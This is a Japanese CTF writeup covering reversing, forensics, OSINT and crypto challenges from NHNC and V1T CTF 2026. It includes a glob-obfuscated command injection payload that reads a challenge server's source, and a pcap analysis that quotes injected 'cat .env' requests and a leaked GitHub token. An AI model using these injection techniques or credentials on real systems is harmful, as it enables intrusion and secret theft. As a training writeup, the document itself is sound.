Lens ID                         : Pixel 8 back camera 6.9mm f/1.68

撮影日は2026/5/5であることがわかった。あとはIATAのフライト番号を調べる必要がある。

以下のページから過去のフライトを調べる。その際撮影日時が2026/5/5 14:49:53であることから、この少し後の時刻を見てみる。
https://www.flightaware.com/live/flight/JA06JJ/history/320

該当する日時のフライト情報は以下のページで見つかった。
https://www.flightaware.com/live/flight/JA06JJ/history/20260505/0630Z/RJBB/RCTP

フライト番号はGK55であることがわかった。

NHNC{20260505_GK55}

Flag Checkers (Raymond)

Ghidraでアセンブリを見てみる。

        004010bb 31 ff           XOR        EDI,EDI
        004010bd 48 c7 c6        MOV        RSI,0x30000100
                 00 01 00 30
        004010c4 48 c7 c2        MOV        RDX,0xc0
                 c0 00 00 00
        004010cb 31 c0           XOR        EAX,EAX
        004010cd 0f 05           SYSCALL

Linux x86-64 のシステムコールで、以下のようになっている。

  • rax = 0(syscall番号)
  • rdi = 0(第1引数)
  • rsi = 0x30000100(第2引数)
  • rdx = 0xc0(第3引数)

つまり以下を実行していることになる。

read(0, 0x30000100, 0xc0)

さらにアセンブリを見ていく。

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined FUN_00401422()
             undefined         <UNASSIGNED>   <RETURN>
                             FUN_00401422                                    XREF[1]:     entry:004011d1(c)  
        00401422 48 c7 c6        MOV        RSI,0x30000200
                 00 02 00 30
        00401429 48 8d 3c        LEA        RDI,[DAT_00402480]                               = 84h
                 25 80 24 
                 40 00
        00401431 b9 88 00        MOV        ECX,0x88
                 00 00
        00401436 31 d2           XOR        EDX,EDX

この部分から0x88バイトを比較していることがわかる。

次に復号部分を見てみる。

        0040104e 48 8d 34        LEA        RSI,[DAT_00402038]                               = A5h
                 25 38 20 
                 40 00
        00401056 48 c7 c7        MOV        RDI,0x30001000
                 00 10 00 30
        0040105d b9 0b 00        MOV        ECX,0xb
                 00 00
                             LAB_00401062                                    XREF[1]:     00401070(j)  
        00401062 8a 06           MOV        AL,byte ptr [RSI]=>DAT_00402038                  = A5h
                                                                                             = 4Eh
        00401064 34 5a           XOR        AL,0x5a
        00401066 88 07           MOV        byte ptr [RDI]=>DAT_30001000,AL

0x402038 にある11バイトを 0x5a で XOR して、0x30001000 に展開している。

        00401072 48 8d 34        LEA        RSI,[DAT_00402020]                               = 000055A8h
                 25 20 20 
                 40 00
        0040107a 48 c7 c7        MOV        RDI,0x30000040
                 40 00 00 30
        00401081 b9 06 00        MOV        ECX,0x6
                 00 00
                             LAB_00401086                                    XREF[1]:     00401099(j)  
        00401086 8b 06           MOV        EAX,dword ptr [RSI]=>DAT_00402020                = 000055A8h
                                                                                             = B6921B4Ah
        00401088 35 a5 a5        XOR        EAX,0xa5a5a5a5
                 a5 a5
        0040108d 89 07           MOV        dword ptr [RDI]=>DAT_30000040,EAX

0x402020以降の32ビットごとの6個の値と0xa5a5a5a5のXORが鍵テーブルになる。

        004010cf b8 9e 16        MOV        EAX,0x78f169e
                 8f 07
        004010d4 01 c0           ADD        EAX,EAX
        004010d6 48 c1 e0 20     SHL        RAX,0x20
        004010da b9 bc 34        MOV        ECX,0x25ad34bc
                 ad 25
        004010df 01 c9           ADD        ECX,ECX
        004010e1 48 09 c8        OR         RAX,RCX
        004010e4 48 89 04        MOV        qword ptr [DAT_30000010],RAX
                 25 10 00 
                 00 30
eax = 0x078f169e * 2 = 0x0f1e2d3c
ecx = 0x25ad34bc * 2 = 0x4b5a6978

つまりこれを結合して、raxは以下のようになる。

rax = 0x0f1e2d3c4b5a6978

最後にDAT_30000010にこれを保存している。これがIVとなる。
この後CBCモード風な暗号になっているので、それを元に復号する。

#!/usr/bin/env python3
from pathlib import Path

BIN = Path("./flag_checkers").read_bytes()
DATA = 0x2000
MASK = 0xffffffff

keys = [
    int.from_bytes(BIN[DATA+0x20+i*4:DATA+0x24+i*4], "little") ^ 0xa5a5a5a5
    for i in range(6)
]

tables = [
    BIN[DATA+0x80+i*0x100:DATA+0x80+(i+1)*0x100]
    for i in range(4)
]

expected = BIN[DATA+0x480:DATA+0x480+0x88]
iv = 0x0f1e2d3c4b5a6978

def rol32(x, n):
    return ((x << n) | (x >> (32 - n))) & MASK

def sub_word(x, table):
    return (
        table[x & 0xff]
        | table[(x >> 8) & 0xff] << 8
        | table[(x >> 16) & 0xff] << 16
        | table[(x >> 24) & 0xff] << 24
    )

def f(x, r):
    table = tables[(r * 3 + 1) & 3]
    rot = ((r * 7 + 3) % 31) + 1
    return rol32(sub_word(x, table), rot)

def round_key(r):
    return (keys[r % 6] ^ ((r + 1) * 0x9e3779b9)) & MASK

def decrypt_block(state):
    a = state >> 32
    b = state & MASK

    for r in range(14, -1, -1):
        old_b = a
        old_a = b ^ f(old_b ^ round_key(r), r)
        a, b = old_a & MASK, old_b & MASK

    return (a << 32) | b

plain = bytearray()
prev = iv

for i in range(0, len(expected), 8):
    c = int.from_bytes(expected[i:i+8], "big")
    x = decrypt_block(c)
    p = x ^ prev
    plain += p.to_bytes(8, "big")
    prev = c

flag = plain.rstrip(b"\x00").decode()
print(flag)
NHNC{2b06cc91a6d35aa24e886394ab574e1c4b4f9eed7ad6d7aca7a3228a39cf318f0a3c523a72263b0995f6417f3b5fd56443d482fbd9b430a578c4038a451028b9}

Kira-Notes (UmmIt Kin)

DB Browserで開き、moz_placesテーブルのデータを見てみる。この中に以下のGoogle DriveのURLがあることがわかる。
https://drive.proton.me/urls/00MNVW0SHG#do4wWWpAQ0Lw

ここにアクセスすると、以下のファイルがダウンロードできることがわかる。

  • noth_____.png
  • of.img
  • Some Backup 01.png

FTK Imagerでof.imgを開き、いろいろファイルを探したが、特に怪しいファイルは見つからない。

$ grep -aob "flag.txt" of.img
143838372:flag.txt
143901860:flag.txt
278397982:flag.txt
278398130:flag.txt

flag.txtという文字列は含まれている。flag.txt周辺の文字を調べてみる。

$ for off in 143838372 143901860 278397982 278398130; do
  echo "===== $off ====="
  dd if=of.img bs=1 skip=$((off-256)) count=1024 2>/dev/null | strings -a
done
===== 143838372 =====
will
final.zip
wtf.png
flag.txt
===== 143901860 =====
will
final.zip
wtf.png
flag.txt
===== 278397982 =====
flag.txt
EvCwM
flag.txt
===== 278398130 =====
flag.txt
EvCwM
flag.txt

とりあえず、カービングしてみる。

$ foremost of.img                                                                                                                       
Processing: of.img
|**foundat=flag.txt 
***|

png, zipが取得できていた。これがおそらくwtf.pngとfinal.zipであると推測できる。
wtf.pngの画像はnoth_____.pngの画像より幅広く見えて、こう書いてある。

0x0kira1337

final.zipはパスワードがかかっているが、上記の文字列をパスワードとして解凍する。展開されたflag.txtにフラグが書いてあった。

NHNC{n0w_y0u_kn0w_h0w_t0_f0r3ns1c_0x00000Easyyyyyyyyy}

newbie-crypto (hsuan0223x)

暗号化処理の概要は以下の通り。

・KEY: ランダム16バイト文字列
・NONCE = b"ticket42"
・FLAG: 不明文字列
・ATTENDEES = [
     ("hsuan0223x", "H-0223"),
     ("NHNC", "T-0704"),
     (
         "this_chal_not_need_read_read_read_read_read_read_read_read_read_read_read",
         "N-0705",
     ),
     ("AI_WILL_SLOP", "C-114514"),
 ]
・ATTENDEESのインデックスのindexと各値(name, seat)に対して以下を実行
 ・以下の形式で表示
  guest_cipher_{index} = {encrypt(make_guest_ticket(name, seat))}
  ・ticket = make_guest_ticket(name, seat))
   ・以下の形式の文字列をエンコードしたものを返却
    {"event":"modern-crypto-101","role":"guest","name":"<name>","seat":"<seat>","note":"enjoy the workshop"}
  ・enc = encrypt(ticket)
   ・鍵をKEY、nonceをNONCEとしてticketをAES CTR暗号化しhexエンコードしたものを返却
・以下の形式で表示
 admin_cipher = {encrypt(make_admin_ticket())}

AESのCTRモードなので、平文と暗号文をXORしたものは同じになる。このXOR鍵を算出できれば、adminチケットを復号できる。

#!/usr/bin/env python3
import json
from Crypto.Util.strxor import strxor

def encode_ticket(ticket):
    return json.dumps(ticket, separators=(",", ":")).encode()

def make_guest_ticket(name, seat):
    return encode_ticket(
        {
            "event": "modern-crypto-101",
            "role": "guest",
            "name": name,
            "seat": seat,
            "note": "enjoy the workshop",
        }
    )

ATTENDEES = [
    ("hsuan0223x", "H-0223"),
    ("NHNC", "T-0704"),
    (
        "this_chal_not_need_read_read_read_read_read_read_read_read_read_read_read",
        "N-0705",
    ),
    ("AI_WILL_SLOP", "C-114514"),
]

with open("output.txt", "r") as f:
    params = f.read().splitlines()[2:]

cts = [bytes.fromhex(params[i].split()[-1]) for i in range(4)]
adm_ct = bytes.fromhex(params[4].split()[-1])

xor_key = b''
for index, (name, seat) in enumerate(ATTENDEES):
    pt = make_guest_ticket(name, seat)
    key = strxor(cts[index], pt)
    if len(xor_key) < len(key):
        xor_key = key

adm_pt = strxor(adm_ct, xor_key[:len(adm_ct)]).decode()
print(adm_pt)

復号結果は以下の通り。

{"event":"modern-crypto-101","role":"admin","name":"organizer","seat":"ROOT","note":"priority access granted","flag":"NHNC{c7r_k3y57r34m5_5h0uld_n3v3r_r37urn}"}
NHNC{c7r_k3y57r34m5_5h0uld_n3v3r_r37urn}

V1T CTF 2026 Writeup

この大会は2026/6/27 11:00(JST)~2026/6/28 23:00(JST)に開催されました。
今回もチームで参戦。結果は885点で952チーム中190位でした。
自分で解けた問題をWriteupとして書いておきます。

Hack The Box (Sponsor)

問題にフラグが書いてあった。

v1t{hackthebox}

J2Team (Sponsor)

問題にフラグが書いてあった。

v1t{j2team}

Rules (Duck)

ルールのページでHTMLソースを見ると、フラグが書いてあった。

<div class="v1t-rules-wrapper">
  <div class="v1t-rules-card container">
    <h3>🕹️ CTF Rules (Read or Regret Later)</h3>

    <p class="rule-box"><strong>1️⃣ Don’t DDoS, Brother 🙏</strong>
    Our infra is held together by hopes, dreams, and duck tape. Please don’t nuke it.</p>

    <p class="rule-box"><strong>2️⃣ No Bruteforcing / Fuzzing Madness</strong>
    If your script sends 10,000 requests per second, it’s not “creative testing,” it’s just rude.</p>

    <p class="rule-box"><strong>3️⃣ Play Fair, Not Flare ⚔️</strong>
    Don’t attack other teams or leak flag — it’s a CTF, not a pirate simulation. 🏴<200d>☠️</p>

    <p class="rule-box"><strong>4️⃣ AI Is Allowed, can't stop you guys</strong>
    You can tell us you which challenge you solving entirely using AI in the AI killlist in #AI-OG discord channel.</p>

    <p class="rule-box"><strong>5️⃣ Have Fun (Or Pretend To) 🎉</strong>
    If you’re not having fun, just blame the challenge author — it’s tradition.</p>

    <code class="terminal-box"><span class="troll-typing">v1t{y3s_1_w1ll_0b3y_7h3_duck}</span></code>
  </div>
</div>
v1t{y3s_1_w1ll_0b3y_7h3_duck}

Curl the duck (Duck)

http://v1t.site/duckにアクセスしたら、duckファイルがダウンロードされた。

$ cat duck 
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⠿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣉⡥⠶⢶⣿⣿⣿⣿⣷⣆⠉⠛⠿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⡿⢡⡞⠁⠀⠀⠤⠈⠿⠿⠿⠿⣿⠀⢻⣦⡈⠻⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⡇⠘⡁⠀⢀⣀⣀⣀⣈⣁⣐⡒⠢⢤⡈⠛⢿⡄⠻⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⡇⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⠉⠐⠄⡈⢀⣿⣿⣿⣿    █ █ ▀█  ▀█▀
⣿⣿⣿⣿⣿⣿⣿⠇⢠⣿⣿⣿⣿⡿⢿⣿⣿⣿⠁⢈⣿⡄⠀⢀⣀⠸⣿⣿⣿⣿    ▀▄▀  █   █
⣿⣿⣿⣿⡿⠟⣡⣶⣶⣬⣭⣥⣴⠀⣾⣿⣿⣿⣶⣾⣿⣧⠀⣼⣿⣷⣌⡻⢿⣿     ▀  ▀▀▀  ▀
⣿⣿⠟⣋⣴⣾⣿⣿⣿⣿⣿⣿⣿⡇⢿⣿⣿⣿⣿⣿⣿⡿⢸⣿⣿⣿⣿⣷⠄⢻
⡏⠰⢾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⢂⣭⣿⣿⣿⣿⣿⠇⠘⠛⠛⢉⣉⣠⣴⣾
⣿⣷⣦⣬⣍⣉⣉⣛⣛⣉⠉⣤⣶⣾⣿⣿⣿⣿⣿⣿⡿⢰⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡘⣿⣿⣿⣿⣿⣿⣿⣿⡇⣼⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⢸⣿⣿⣿⣿⣿⣿⣿⠁⣿⣿⣿⣿⣿⣿⣿⣿⣿

  ┌─About───────────────────────────────┐ ┌─Socials───┬───────────────────────────────────────┐
  │                                     │ │           │                                       │
  │ Yo what's up everyone we are V1t    │ │ CTFTime   │ https://ctftime.org/team/371186       │
  │ We are not hacker, we are duck      │ │ Discord   │ https://discord.com/invite/WyYTC2EZqK │
  └─────────────────────────────────────┘ │           │                                       │
                                          └───────────┴───────────────────────────────────────┘
    Commands                                                                 
                                                                           
    $ curl v1t.site/ping        Ping                                
    $ curl v1t.site/help        Help  
    $ curl v1t.site/duck        Duck                 
    $ curl v1t.site/flag        Flag for v1t ctf 2026

http://v1t.site/flagにアクセスしたら、flagファイルがダウンロードされた。

$ cat flag                     

             ████   █████        ███     █████                     █████                                                                   █████                 ███                                 
            ░░███  ░░███        ██░     ░░███                     ░░███                                                                   ░░███                 ░░░██                                
 █████ █████ ░███  ███████     ██     ███████  █████ ████  ██████  ░███ █████ █████ ████            ████████ █████ ████  ██████    ██████  ░███ █████ █████ ████  ░░██                               
░░███ ░░███  ░███ ░░░███░    ███     ███░░███ ░░███ ░███  ███░░███ ░███░░███ ░░███ ░███            ███░░███ ░░███ ░███  ░░░░░███  ███░░███ ░███░░███ ░░███ ░███    ░░███                             
 ░███  ░███  ░███   ░███    ░░░██   ░███ ░███  ░███ ░███ ░███ ░░░  ░██████░   ░███ ░███           ░███ ░███  ░███ ░███   ███████ ░███ ░░░  ░██████░   ░███ ░███     ██░                              
 ░░███ ███   ░███   ░███ ███  ░░██  ░███ ░███  ░███ ░███ ░███  ███ ░███░░███  ░███ ░███           ░███ ░███  ░███ ░███  ███░░███ ░███  ███ ░███░░███  ░███ ░███    ██                                
  ░░█████    █████  ░░█████    ░░███░░████████ ░░████████░░██████  ████ █████ ░░███████  █████████░░███████  ░░████████░░████████░░██████  ████ █████ ░░███████  ███                                 
   ░░░░░    ░░░░░    ░░░░░      ░░░  ░░░░░░░░   ░░░░░░░░  ░░░░░░  ░░░░ ░░░░░   ░░░░░███ ░░░░░░░░░  ░░░░░███   ░░░░░░░░  ░░░░░░░░  ░░░░░░  ░░░░ ░░░░░   ░░░░░███ ░░░                                  
                                                                               ███ ░███                ░███                                            ███ ░███                                      
                                                                              ░░██████                 █████                                          ░░██████                                       
                                                                               ░░░░░░                 ░░░░░                                            ░░░░░░                                        
v1t{ducky_quacky}

Discord (Duck)

Discordに入り、#announcementsチャネルのトピックを見ると、16進数文字列が絵文字で書いてあった。

7631747B6475636B633072647d

hexデコードする。

$ echo 7631747B6475636B633072647d | xxd -r -p                                                                                                        
v1t{duckc0rd}
v1t{duckc0rd}

Town Tour 02 (Osint)


問題文はこうなっている。

On my way to buy my daily stuff at the nearby supermarket, I have to go pass this Vinaphone store. 
Do you know what is the supermarket I'm going to? (not the building name, it's the brand). 
P/s: U have to use lots of Google Translate for this :> 
And what u see on GG Maps might be different from the photo.

Example: v1t{Ha_Noi_Mart}

画像検索すると、以下のページが見つかった。
https://langngheviet.com.vn/vnpt-ha-noi-trung-tam-vien-thong-8-gop-phan-tich-cuc-vao-su-phat-trien-va-doi-moi-cua-nganh-3877.html

ベトナムのソンタイ町にあるらしいので、Google Mapで調べる。

一番似ているのはこの場所。
https://www.google.com/maps/place/VNPT+S%C6%A1n+T%C3%A2y/@21.1386034,105.5065856,3a,75y,113.92h,109.51t/data=!3m7!1e1!3m5!1sO00RvcZqCRnSG-EEXPMVfA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-19.506022710127553%26panoid%3DO00RvcZqCRnSG-EEXPMVfA%26yaw%3D113.92371471061624!7i13312!8i6656!4m10!1m2!2m1!1z44OZ44OI44OK44OgIOOCv-ODs-ODm-OCoiBCaW0gU29uLCDEkMO0bmcgU8ahbiwg44K944Oz44K_44Kk5LuY6L-R44GuVk5QVA!3m6!1s0x31345f496b40f727:0x44657ef3d4d39d1f!8m2!3d21.1384768!4d105.5067763!15sCknjg5njg4jjg4rjg6Ag44K_44Oz44Ob44KiIEJpbSBTb24sIMSQw7RuZyBTxqFuLCDjgr3jg7Pjgr_jgqTku5jov5Hjga5WTlBUIgOIAQFaTCJK44OZ44OI44OK44OgIOOCv-ODs-ODm-OCoiBiaW0gc29uIMSRw7RuZyBzxqFuIOOCveODs-OCv-OCpCDku5jov5Eg44GuIHZucHSSASN0ZWxlY29tbXVuaWNhdGlvbnNfc2VydmljZV9wcm92aWRlcpoBJENoZERTVWhOTUc5blMwVkpRMEZuU1VSbE1uTm1XVzlCUlJBQuABAPoBBAgAEA8!16s%2Fg%2F11dyn_2519?entry=ttu&g_ep=EgoyMDI2MDYyNC4wIKXMDSoASAFQAw%3D%3D

近くに以下のスーパーマーケットがある。

Lan Chi Mart
v1t{Lan_Chi_Mart}

Town Tour 3 (Osint)


問題文はこうなっている。

What the three words?

Flag format: v1t{word1_word2_word3} (3 words in English)

https://what3words.com/

建物の上部を中心に画像検索すると、以下のページが見つかる。
https://vietnamtourism.gov.vn/en/printer/20666?type=1

Van Gia villageのVa Templeであることがわかる。

Google Mapで調べると、この辺りであることがわかる。
https://www.google.com/maps/place/%C4%90%E1%BB%81n+V%C3%A0/@21.138429,105.4853336,3a,75y,136.38h,81.23t/data=!3m8!1e1!3m6!1sCIHM0ogKEICAgID495jpXg!2e10!3e11!6shttps:%2F%2Flh3.googleusercontent.com%2Fgpms-cs-s%2FABJJf50p1YvsoPliiMGKN4vM3iofGkaBtuYTkXngTNfHbzDbByo7jQF3wT_wZOeQlbRN2BczprbWM_QnVIL7FtDYJlR6aIltMWnjqJS3_lCOcVzuMNkBGpmlbMVxeRHsUqR8Qg0e1vTW%3Dw900-h600-k-no-pi8.772397875233708-ya88.37773921667102-ro0-fo100!7i8704!8i4352!4m6!3m5!1s0x3134f5f6e45ed65b:0xd700b33a2f871268!8m2!3d21.1384668!4d105.485374!16s%2Fg%2F122qmlvy?entry=ttu&g_ep=EgoyMDI2MDYyNC4wIKXMDSoASAFQAw%3D%3D

what3wordsでその場所を探す。

v1t{wheezes_toppling_transacted}

HVL (Web)

play開始すると、いろんな文字列が表示されては消えていく。その中にフラグの断片があるので、結合する。





v1t{g04t_mck_hvl}

Duck Nettool Revenge (Web)

OSコマンドインジェクションが使えるが、入力できる文字が以下の文字に限られている。

i 0-9 . ; ? / space

いろいろ試すがなかなかうまくいかない。

最終的には以下のコマンドを想定して、app.pyの内容を取得することでフラグが得られた。

;/usr/local/bin/python3 /usr/local/lib/python3.11/tokenize.py /app/app.py

実際に入力した文字列は以下の通り。

;/???/?????/?i?/??????3 /???/?????/???/??????3.??/?????i??.?? /???/???.??

実行結果は以下の通り。

ping: usage error: Destination address required
1: /app/app.py[1]* """
2: /app/app.py[2] TODO / Deployment fixes
3: /app/app.py[3] 
4: /app/app.py[4] - The challenge is currently not solvable because:
5: /app/app.py[5]   - flag.txt has incorrect permissions.
6: /app/app.py[6]   - flag.py should print(FLAG) not 'FLAG'.
7: /app/app.py[7] 
8: /app/app.py[8] - Fix the deployment files before expecting a valid solve path.
9: /app/app.py[9] 
10: /app/app.py[10] - The SHA-256 hash of v1t{br0_th15_15_duck} is not realistically brute-forceable,
11: /app/app.py[11]   so the init Bash script also needs to be fixed.
12: /app/app.py[12] """
13: /app/app.py[13] import os
14: /app/app.py[14] import re
15: /app/app.py[15] import json
16: /app/app.py[16] import subprocess
17: /app/app.py[17] import urllib.parse
18: /app/app.py[18] import urllib.request
19: /app/app.py[19] from flask import Flask, render_template, request
20: /app/app.py[20] 
21: /app/app.py[21] app = Flask(__name__)
22: /app/app.py[22] 
23: /app/app.py[23] TURNSTILE_SITEKEY = os.getenv("TURNSTILE_SITEKEY", "0x4AAAAAADkTEwqwO3e-M7F0")
24: /app/app.py[24] TURNSTILE_SECRET_KEY = os.getenv("TURNSTILE_SECRET_KEY", "0x4AAAAAADkTEwqUhx4WjkyhWeHv7t-qa8s")
25: /app/app.py[25] TURNSTILE_ENABLED = os.getenv("TURNSTILE_ENABLED", "1").lower() in ("1", "true", "yes") and bool(
26: /app/app.py[26]     TURNSTILE_SITEKEY and TURNSTILE_SECRET_KEY
27: /app/app.py[27] )
28: /app/app.py[28] 
29: /app/app.py[29] BLOCKED_TOKENS = (
30: /app/app.py[30]     "Z29vZGJ5ZSB1aXQgaSdtIGFib3V0IHRvIGdyYWR1YXRl",
31: /app/app.py[31]     "aWYgeW91IHNvbHZlIHRoaXMgY2hhbGxlbmdlIGVhc2lseSB0aGVuIGkgdGhpbmsgeW91IHNob3VsZCBwbGF5IHNla2FpIGkgaGF2ZSBubyBjaGFuY2UgOy07",
32: /app/app.py[32]     
33: /app/app.py[33] )
34: /app/app.py[34] ALLOWED_TARGET_RE = re.compile(r"^(?!.* \.)(?!.*\. )[i0-9.;?/ ]+$")
35: /app/app.py[35] 
36: /app/app.py[36] 
37: /app/app.py[37] def verify_turnstile(token, remote_ip):
38: /app/app.py[38]     if not token:
39: /app/app.py[39]         return False
40: /app/app.py[40] 
41: /app/app.py[41]     data = urllib.parse.urlencode(
42: /app/app.py[42]         {
43: /app/app.py[43]             "secret": TURNSTILE_SECRET_KEY,
44: /app/app.py[44]             "response": token,
45: /app/app.py[45]             "remoteip": remote_ip or "",
46: /app/app.py[46]         }
47: /app/app.py[47]     ).encode()
48: /app/app.py[48]     req = urllib.request.Request(
49: /app/app.py[49]         "https://challenges.cloudflare.com/turnstile/v0/siteverify",
50: /app/app.py[50]         data=data,
51: /app/app.py[51]         headers={"Content-Type": "application/x-www-form-urlencoded"},
52: /app/app.py[52]     )
53: /app/app.py[53] 
54: /app/app.py[54]     try:
55: /app/app.py[55]         with urllib.request.urlopen(req, timeout=5) as response:
56: /app/app.py[56]             result = json.loads(response.read().decode())
57: /app/app.py[57]             return bool(result.get("success"))
58: /app/app.py[58]     except Exception:
59: /app/app.py[59]         return False
60: /app/app.py[60] 
61: /app/app.py[61] 
62: /app/app.py[62] def render_index(output="", target=""):
63: /app/app.py[63]     return render_template(
64: /app/app.py[64]         "index.html",
65: /app/app.py[65]         output=output,
66: /app/app.py[66]         target=target,
67: /app/app.py[67]         captcha_sitekey=TURNSTILE_SITEKEY if TURNSTILE_ENABLED else None,
68: /app/app.py[68]     )
69: /app/app.py[69] 
70: /app/app.py[70] 
71: /app/app.py[71] @app.route("/", methods=["GET", "POST"])
72: /app/app.py[72] def index():
73: /app/app.py[73]     output = ""
74: /app/app.py[74]     target = ""
75: /app/app.py[75] 
76: /app/app.py[76]     if request.method == "POST":
77: /app/app.py[77]         target = request.form.get("target", "")
78: /app/app.py[78] 
79: /app/app.py[79]         if TURNSTILE_ENABLED:
80: /app/app.py[80]             token = request.form.get("cf-turnstile-response", "")
81: /app/app.py[81]             if not verify_turnstile(token, request.remote_addr):
82: /app/app.py[82]                 output = "Captcha verification failed"
83: /app/app.py[83]                 return render_index(output=output, target=target)
84: /app/app.py[84] 
85: /app/app.py[85]         lowered_target = target.lower()
86: /app/app.py[86] 
87: /app/app.py[87]         if not ALLOWED_TARGET_RE.fullmatch(target):
88: /app/app.py[88]             output = "Only host-like characters are allowed"
89: /app/app.py[89]             return render_index(output=output, target=target)
90: /app/app.py[90] 
91: /app/app.py[91]         if any(token in lowered_target for token in BLOCKED_TOKENS):
92: /app/app.py[92]             output = "Blocked by filter"
93: /app/app.py[93]             return render_index(output=output, target=target)
94: /app/app.py[94] 
95: /app/app.py[95]         try:
96: /app/app.py[96]             command = f"ping -c 1 {target}"
97: /app/app.py[97]             output = subprocess.check_output(
98: /app/app.py[98]                 command,
99: /app/app.py[99]                 shell=True,
100: /app/app.py[100]                 stderr=subprocess.STDOUT,
101: /app/app.py[101]                 timeout=5,
102: /app/app.py[102]                 text=True,
103: /app/app.py[103]                 env={"PATH": "/bin:/usr/bin"},
104: /app/app.py[104]             )
105: /app/app.py[105]         except subprocess.CalledProcessError as exc:
106: /app/app.py[106]             output = exc.output
107: /app/app.py[107]         except subprocess.TimeoutExpired:
108: /app/app.py[108]             output = "Command timed out"
109: /app/app.py[109] 
110: /app/app.py[110]     return render_index(output=output, target=target)
111: /app/app.py[111] 
112: /app/app.py[112] 
113: /app/app.py[113] if __name__ == "__main__":
114: /app/app.py[114]     host = os.getenv("FLASK_HOST", "0.0.0.0")
115: /app/app.py[115]     port = int(os.getenv("FLASK_PORT", "5000"))
116: /app/app.py[116]     app.run(host=host, port=port)
116: /app/app.py[116]

10行目にフラグが書いてあった。

v1t{br0_th15_15_duck}

BasicQnA (Forensics)

pcapngが添付されていて、そのパケットについて9問出題されるので、それに答えていけばよい。

Q1. What are the attacker IP address and victim IP address?

Format: attackerIP,victimIP

httpでフィルタリングすると、明らかに以下の通信があやしい。

  • 通信元:172.29.9.159
  • 通信先:13.212.67.96
172.29.9.159,13.212.67.96
Q2. What SSH service/version is running on the victim?

Format: service_version distro_version

sshでフィルタリングすると、Infoに以下のように書いてある。

SSH-2.0-OpenSSH_10.2p1 Ubuntu-2ubuntu3.2
OpenSSH_10.2p1 Ubuntu-2ubuntu3.2
Q3. What tool did the attacker use for reconnaissance?

ip.src==172.29.9.159でフィルタリングすると、いろんなポートにSYNパケットが飛んでいることがわかる。

nmap
Q4. Which TCP stream shows that the attacker successfully created a temporary admin account?

Format: tcp.stream eq XXXX

パケットを"add"や"create"で検索し、該当する箇所を探す。

TCPストリーム4491で以下のメッセージが出ている。

{"message":"Temporary support access created.","role":"admin","success":true,"support_url":"http://13.212.67.96/magic-login/GsheBj53E0_rg1qnYAnIQYgNBJcGMzbL","user":"support_c30cde@corpvault.local"}
tcp.stream eq 4491
Q5. What is the temporary admin account created by the attacker?

Format: username@domain
support_c30cde@corpvault.local
Q6. What is the CVE of the abused technique?

WP Maps Proプラグインの特権昇格の脆弱性で以下が該当する。

CVE-2026-8732
Q7. Which user-controlled parameter in the backup feature was abused to achieve RCE?

TCPストリームを進めていくと、例えば4503で以下のリクエストでRCEを実行している。

backup_name=daily-contracts%3B+echo+HOME%3D%24HOME%3B+pwd%3B+ls+-la+~
backup_name
Q8. What are the two files that the attacker read to obtain the victim's information after gaining command execution?

Format: path1,path2

TCPストリームを進めていくと、4544で以下のRCEを実行している。

backup_name=daily-contracts%3B+cat+%2Fapp%2Fstatic%2F.env

また、4547で以下のRCEを実行している。

backup_name=daily-contracts%3B+cat+%2Fapp%2Ftemplates%2F.env
/app/static/.env,/app/templates/.env
Q9. What is the found Github ID?

Format: final magic string

4544のストリームなどで、以下の部分がある。

<section class="panel narrow">
  <h2>Backup Helper Output</h2>
  <pre class="terminal">Building backup package: daily-contracts
Ich1ck3nPlus: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
</pre>
</section>
Ich1ck3nPlus

すべて正解したら、フラグが表示された。

v1t{llm_c0uld_s0lv3_th1s_ez_chall3ng3!!!}

China Crack? - 101 ((Crypto)

V1t CTF 2025 の Tryna crack? のZIPパスワードはwriteupから以下であることがわかる。

D4mn_br0_H0n3y_p07_7yp3_5h1d

これで7zを解凍すると、以下のファイルが展開される。

  • .secret = zip_password + _V1T
  • CC01-challenge

.secret = zip_password + _V1Tには以下のように書いてある。

01110011011100010111001001110100001010000101001101001101010100110100110100101001

これをCyberChefの「From Binary」でデコードする。

sqrt(SMSM)

CC01-challengeには長大な16進数文字列が書かれている。

以上のことから秘密鍵は"D4mn_br0_H0n3y_p07_7yp3_5h1d_V1T'であると推測できる。また、SM2で暗号化されていると推測できるので、そのことから復号する。

#!/usr/bin/env python3
from gmssl import sm2, sm3, func
import hashlib

zip_pwd = 'D4mn_br0_H0n3y_p07_7yp3_5h1d'
secret = zip_pwd + '_V1T'

private_key = secret.encode().hex()

with open('CC01-challenge', 'r') as f:
    ct = bytes.fromhex(f.read())

crypt = sm2.CryptSM2(public_key='', private_key=private_key, mode=0)
pt = crypt.decrypt(ct)
pt = bytes.fromhex(pt.decode())

with open('flag.png', 'wb') as f:
    f.write(pt)


復号した結果、PNGが復元でき、画像にフラグが書いてある。

V1T{Tryna_cRacK_iS_BaCk_MtfK_[that-zip-password-in-md5]}

ただし、zipパスワードをmd5にして答える必要がある。

$ echo -n D4mn_br0_H0n3y_p07_7yp3_5h1d | md5sum      
dffdf21a13908662e27d8c5c875809e4  -
V1T{Tryna_cRacK_iS_BaCk_MtfK_dffdf21a13908662e27d8c5c875809e4}

China Crack? - 202 (Crypto)

ZUCは無視して、リークしている情報からwordsを復元する。leak2で下位16ビットを総当たりすれば、上位16ビットが逆算できる。あとはleak3で候補を絞り、wordsを復元していく。

#!/usr/bin/env python3
import zlib

cipher_flag = bytes.fromhex("72901442adade9c53b7cb386eeb8b6765d42dbc58ec6d442e77057b7d5d2724afc2f4e232df02f9ff050")

leak1 = [123, 38, 92, 78, 207, 178, 116, 75, 141, 163]
